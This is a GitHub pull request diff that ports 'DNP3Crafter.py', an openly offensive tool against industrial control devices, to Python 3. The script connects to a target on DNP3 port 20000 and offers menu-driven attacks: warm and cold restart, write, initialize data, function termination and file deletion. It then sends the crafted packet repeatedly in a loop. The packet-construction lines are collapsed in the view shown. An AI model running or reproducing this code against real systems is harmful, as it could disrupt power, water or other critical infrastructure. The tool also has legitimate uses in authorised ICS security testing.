Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Updated to python3 spec #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
87 changes: 47 additions & 40 deletions DNP3Crafter.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
#! /usr/bin/env python
#! /usr/bin/env python3

__author__ = "David Olano"
__version__ = "1.0"
__email__ = "[email protected]"
__author__ = "David Olano and James Brine"
__version__ = "2.0"
__email__ = "[email protected], [email protected]"
__status__ = "Production"

'''DNP3Crafter'''
Expand All @@ -13,43 +13,40 @@

if __name__ == "__main__":

print " ___ __ ___ _____ ___ __ _ "
print " / \ /\ \ \ / _ \|___ / / __\_ __ __ _ / _|| |_ ___ _ __ "
print " / /\ // \/ // /_)/ |_ \ / / | '__|/ _` || |_ | __|/ _ \| '__|"
print " / /_/// /\ // ___/ ___) |/ /___| | | (_| || _|| |_| __/| | "
print "/___,' \_\ \/ \/ |____/ \____/|_| \__,_||_| \__|\___||_|\n "
print(" ___ __ ___ _____ ___ __ _ ")
print(" / \\ /\\ \\ \\ / _ \\|___ / / __\\_ __ __ _ / _|| |_ ___ _ __ ")
print(" / /\\ // \\/ // /_)/ |_ \\ / / | '__|/ _` || |_ | __|/ _ \\| '__|")
print(" / /_/// /\\ // ___/ ___) |/ /___| | | (_| || _|| |_| __/| | ")
print("/___,' \\_\\ \\/ \\/ |____/ \\____/|_| \\__,_||_| \\__|\\___||_|\\n ")

if len(sys.argv) != 2:
print '\nMissing arguments!'
print 'Try ./emisor.py dst-ip'
print 'Exiting...'
quit()
print('\nMissing arguments!')
print('Try ./emisor.py dst-ip')
print('Exiting...')
sys.exit()

ipdst = sys.argv[1]
destport= 20000 #DNP3 standard port

''' Open default python socket '''

mysocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
mysocket.connect((ipdst,destport))


''' Options selector '''

print 'Choose one action to perform:'
print '1: Health check'
print '2: Warm Restart attack'
print '3: Cold Restart attack'
print '4: Write attack'
print '5: Initialize data attack'
print '6: App function termination attack'
print '7: Delete file attack'
print ''
print('Choose one action to perform:')
print('1: Health check')
print('2: Warm Restart attack')
print('3: Cold Restart attack')
print('4: Write attack')
print('5: Initialize data attack')
print('6: App function termination attack')
print('7: Delete file attack')
print('')

attack_type = int(raw_input())
attack_type = int(input())

print 'Choose number of repetitions:'
print('Choose number of repetitions:')

attack_count = int(raw_input())
attack_count = int(input())

''' Create custom DNP3 packet '''

Expand Down Expand Up @@ -78,14 +75,24 @@

i = 0
packet=dnp3
print ''

while (i < attack_count):
mysocket.send(packet)
i=i+1
time.sleep(0.02) #Time lapse between packets (in seconds)
print 'Sent' , i , 'repetitions...'

print 'Finished.\n'
mysocket.close()

print('')

while (i < attack_count):

try:
mysocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
mysocket.connect((ipdst,destport))
mysocket.send(packet.encode())
mysocket.close()
i=i+1
time.sleep(1.02) #Time lapse between packets (in seconds)
print('Sent' , i , 'repetitions...')

except Exception as e:
print('Terrible Error!')
import traceback
traceback.print_exc()
print("cannot bind port :(")
sys.exit(1)

print('Finished.\n')